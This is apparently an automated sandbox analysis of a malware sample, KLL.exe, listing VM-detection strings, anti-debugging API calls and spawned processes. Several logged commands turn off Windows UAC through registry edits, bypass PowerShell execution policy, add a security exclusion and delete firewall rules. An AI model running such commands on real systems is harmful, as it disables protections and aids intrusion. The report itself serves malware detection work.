Source: mmc.exe, 00000011.00000002.4519601507.0000000004A08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: svchost.exe, 0000000C.00000002.3696039694.0000020BCE82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3697606182.0000020BD3E2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.3697689500.0000020BD3E55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.4517409565.0000023047040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mmc.exe, 00000011.00000002.4519601507.0000000004A08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: {Publish Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf} 11:48:39.707
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Indexed 4 device IDs for 'vmci.inf_amd64_68ed49469341f563'.
Source: ARP.EXE, 00000043.00000002.2515896512.000000000290B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|\|q
Source: setupapi.dev.log.31.dr	Binary or memory string: set: System Product Name: VMware20,1
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Configure Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf}
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: LetsPRO.exe, 00000034.00000002.4574319802.0000000031E3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Stage Driver Package: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.634
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.inf' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.inf'.
Source: setupapi.dev.log.31.dr	Binary or memory string: cpy: Target Path = C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563
Source: LetsPRO.exe, 00000048.00000002.2674279937.0000000001684000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Created driver package object 'vmci.inf_amd64_68ed49469341f563' in SYSTEM database node.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Image Path = System32\drivers\vmci.sys
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031B8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V wdtgxdixyoiwooe Bus
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $sq)Hyper-V Hypervisor Root Virtual Processor
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031B98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.sys' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.sys'.
Source: mmc.exe, 00000011.00000002.4517360915.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Registered driver package 'vmci.inf_amd64_68ed49469341f563' with 'oem2.inf'.
Source: LetsPRO.exe, 00000048.00000002.2674279937.0000000001688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Driver package 'vmci.inf' is configurable.
Source: svchost.exe, 00000024.00000003.2346444620.000002A2CC317000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ethernetwlanppipvmnetextension49}
Source: setupapi.dev.log.31.dr	Binary or memory string: sto: {Core Driver Package Import: vmci.inf_amd64_68ed49469341f563} 11:48:39.704
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.sys' to 'C:\Windows\System32\drivers\vmci.sys'.
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V wdtgxdixyoiwooe Bus Pipes
Source: setupapi.dev.log.31.dr	Binary or memory string: set: System Manufacturer: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: dvs: {Driver Setup Import Driver Package: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.178
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: Activating driver package 'vmci.inf_amd64_68ed49469341f563'.
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: setupapi.dev.log.31.dr	Binary or memory string: cpy: Published 'vmci.inf_amd64_68ed49469341f563\vmci.inf' to 'oem2.inf'.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Add Service: vmci}
Source: LetsPRO.exe, 00000034.00000002.4592970994.00000000385A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: LetsPRO.exe, 00000034.00000002.4569998469.0000000031A98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Created new service 'vmci'.
Source: LetsPRO.exe, 00000034.00000002.4592970994.0000000038587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: LetsPRO.exe, 00000034.00000002.4569998469.0000000031A98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System ProductU7DNLB2ED92742-89DC-DD72-92E8-869FA5A66493VMware, Inc.None
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Display Name = VMware VMCI Bus Driver
Source: setupapi.dev.log.31.dr	Binary or memory string: set: PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3F -> Configured [oem2.inf:PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD,vmci.install.x64.NT] and started (ConfigFlags = 0x00000000).
Source: setupapi.dev.log.31.dr	Binary or memory string: set: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000 -> Configured [disk.inf:GenDisk,disk_install.NT] and started (ConfigFlags = 0x00000000).
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $sq*Hyper-V Dynamic Memory Integration Service
Source: LetsPRO.exe, 00000034.00000002.4592970994.0000000038545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $sq!Hyper-V Hypervisor Root Partition
Source: setupapi.dev.log.31.dr	Binary or memory string: utl: Driver INF - oem2.inf (C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf)
Source: setupapi.dev.log.31.dr	Binary or memory string: set: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000 -> Configured [cdrom.inf:GenCdRom,cdrom_install] and started (ConfigFlags = 0x00000000).
Source: uc_ctrl.exe, 00000010.00000002.4518440317.0000000001119000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4548636304.0000000005CDB000.00000004.00000020.00020000.00000000.sdmp, ROUTE.EXE, 0000003F.00000002.2510464105.0000000002F1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: LetsPRO.exe, 00000034.00000002.4592970994.00000000385A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ed TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switches/sec5070Address Domain Flushes/sec5072Address Space Flushes/sec5074Global GVA Range Flushes/sec5076Local Flushed GVA Ranges/sec5078Page Table Evictions/sec5080Page Table Reclamations/sec5082Page Table Resets/sec5084Page Table Validations/sec5086APIC TPR Accesses/sec5088Page Table Write Intercepts/sec5090Synthetic Interrupts/sec5092Virtual Interrupts/sec5094APIC IPIs Sent/sec5096APIC Self IPIs Sent/sec5098GPA Space Hypercalls/sec5100Logical Processor Hypercalls/sec5102Long Spin Wait Hypercalls/sec5104Other Hypercalls/sec5106Synthetic Interrupt Hypercalls/sec5108Virtual Interrupt Hypercalls/sec5110Virtual MMU Hypercalls/sec5112Virtual Processor Hypercalls/sec5114Hardware Interrupts/sec5116Nested Page Fault Intercepts/sec5118Nested Page Fault Intercepts Cost5120Page Scans/sec5122Logical Processor Dispatches/sec5124CPU Wait Time Per Dispatch5126Extended Hypercalls/sec5128Extended Hypercall Intercept Messages/sec5130MBEC Nested Page Table Switches/sec5132Other Reflected Guest Exceptions/sec5134Global I/O TLB Flushes/sec5136Global I/O TLB Flush Cost5138Local I/O TLB Flushes/sec5140Local I/O TLB Flush Cost5142Hypercalls Forwarded/sec5144Hypercalls Forwarding Cost5146Page Invalidations Forwarded/sec5148Page Invalidations Forwarding Cost5150Control Register Accesses Forwarded/sec5152Control Register Accesses Forwarding Cost5154IO Instructions Forwarded/sec5156IO Instructions Forwarding Cost5158HLT Instructions Forwarded/sec5160HLT Instructions Forwarding Cost5162MWAIT Instructions Forwarded/sec5164MWAIT
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $sq$Hyper-V Hypervisor Logical Processor
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Installed catalog 'vmci.cat' as 'oem2.cat'.
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $sq!Hyper-V Virtual Machine Bus Pipes
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: FilePath = C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.inf
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Configure Driver Configuration: vmci.install.x64.NT}
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: LetsPRO.exe, 00000048.00000002.2674279937.0000000001684000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: setupapi.dev.log.31.dr	Binary or memory string: flq: Copying 'C:\Windows\SoftwareDistribution\Download\Install\vmci.cat' to 'C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.cat'.
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partitionh
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Catalog = C:\Windows\System32\DriverStore\Temp\{5a5b2f36-11ff-5a4a-b3b1-6fc00ed67f26}\vmci.cat
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Section Name = vmci.install.x64.NT
Source: svchost.exe, 00000035.00000002.4516963518.0000023047000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: KLL.exe, 00000000.00000002.2137703781.0000014B5D5FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000024.00000003.2345873650.000002A2CC338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @vmnetextension
Source: LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Configure Driver: VMware VMCI Bus Device}
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: {Query Configurability: C:\Windows\SoftwareDistribution\Download\Install\vmci.inf} 11:48:39.636
Source: setupapi.dev.log.31.dr	Binary or memory string: idb: {Register Driver Package: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563\vmci.inf} 11:48:39.707

Source: C:\Users\user\Desktop\KLL.exe

API call chain: ExitProcess graph end node

graph_0-18515

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Code function: 16_2_6CED0090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,

16_2_6CED0090

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00000001800102C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00000001800102C0

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_000000018000E318 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_000000018000E318

Source: C:\Users\user\Desktop\KLL.exe

0_2_00000001800060F0

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CED0090 mov edx, dword ptr fs:[00000030h]		16_2_6CED0090
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D0326D3 mov eax, dword ptr fs:[00000030h]		16_2_6D0326D3

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180029078 GetProcessHeap,

0_2_0000000180029078

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800102C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00000001800102C0
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180015F04 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0000000180015F04
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_00B39003 SetUnhandledExceptionFilter,	16_2_00B39003
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_00B389AE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00B389AE
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_00B38E6E IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00B38E6E
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D026D47 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6D026D47
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D022394 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6D022394
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D021EAE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_6D021EAE
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D1CAD0D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6D1CAD0D
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D1CA241 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_6D1CA241

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\conhost.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"

Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat"	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe "C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe"	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process created: C:\ProgramData\letsvpn-latest.exe "C:\ProgramData\letsvpn-latest.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\ProgramData\letsvpn-latest.exe	Process created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=lets.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall Delete rule name=LetsPRO
Source: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Process created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C ipconfig /all
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C route print
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C arp -a
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ROUTE.EXE route print
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ARP.EXE arp -a

Source: LetsPRO.exe, 00000034.00000002.4585596709.0000000037F82000.00000002.00000001.01000000.00000032.sdmp	Binary or memory string: Shell_TrayWnd
Source: LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp	Binary or memory string: AddFontResourceWAdjustWindowRectAlready ReportedAssocIsDangerousAuditSetSecurityBITMAPINFOHEADERBringWindowToTopCRYPT_OBJID_BLOBCertControlStoreCheckRadioButtonCloseEnhMetaFileCoGetCallContextCoGetInterceptorCoMarshalHresultCoTaskMemReallocCombineTransformConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateHatchBrushCreateIpNetEntryCreateJobObjectWCreateMDIWindowWCreateNamedPipeWCreatePolygonRgnCreateSemaphoreWCreateSolidBrushCreateTimerQueueCryptDestroyHashCryptExportPKCS8CryptGetKeyParamCryptMsgGetParamCryptProtectDataCryptQueryObjectCryptSetKeyParamDAD_SetDragImageDPA_EnumCallbackDdeQueryConvInfoDdeSetUserHandleDeactivateActCtxDefMDIChildProcWDefineDosDeviceWDeleteColorSpaceDeleteIpNetEntryDeleteTimerQueueDestination-PortDispatchMessageWDnsNameCompare_WDrawCaptionTempWDrawFrameControlDuplicateTokenExEndBufferedPaintEngCreatePaletteEngDeletePaletteEngDeleteSurfaceEngGetDriverNameEngStretchBltROPEngUnlockSurfaceEnumChildWindowsEnumICMProfilesWExcludeUpdateRgnExtSelectClipRgnFONTOBJ_vGetInfoFRAME_SIZE_ERRORFindFirstFreeAceFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdiGetBatchLimitGdiIsMetaPrintDCGdiSetBatchLimitGetAsyncKeyStateGetBestInterfaceGetCalendarInfoWGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleAliasWGetConsoleTitleWGetConsoleWindowGetCurrentActCtxGetCurrentObjectGetCurrentThreadGetDIBColorTableGetDesktopWindowGetDllDirectoryWGetExpandedNameWGetFileSecurityWGetFullPathNameWGetGUIThreadInfoGetGestureConfigGetGlyphIndicesWGetGlyphOutlineWGetInterfaceInfoGetIpErrorStringGetKerningPairsWGetKeyboardStateGetLastInputInfoGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetMenuPosFromIDGetModuleHandleWGetNamedPipeInfoGetNetworkParamsGetOpenFileNameWGetPriorityClassGetProgmanWindowGetSaveFileNameWGetScrollBarInfoGetStringScriptsGetSysColorBrushGetSystemMetricsGetTaskmanWindowGetTcpStatisticsGetTempFileNameWGetThemeFilenameGetThemePartSizeGetThemePositionGetThemeSysColorGetThreadDesktopGetUdpStatisticsGetViewportExtExGetViewportOrgExGlobalDeleteAtomHANIMATIONBUFFERHost-Remote-ListIConnectionPointICreateErrorInfoILLoadFromStreamINTERFACE_HANDLEIOleAdviseHolderIOleInPlaceFrameIP_PREFIX_ORIGINIP_SUFFIX_ORIGINIPropertyStorageIUnknown_GetSiteIUnknown_SetSiteI_CryptDetachTlsI_RpcSendReceiveIcmpParseRepliesImageList_CreateImageList_DrawExImageList_RemoveImmConfigureIMEWImmCreateContextImmGetGuideLineWImmGetOpenStatusImmGetVirtualKeyImmRegisterWordWImmSetOpenStatusImperial_AramaicInitializeFlatSBInstRuneAnyNotNLInterfaceRemovedIntlStrEqWorkerWIpReleaseAddressIsBadHugeReadPtrIsDBCSLeadByteExIsDialogMessageWIsTokenUntrustedIsValidInterfaceJasonMarshalFailK32EnumProcessesLCIDToLocaleNameLPFN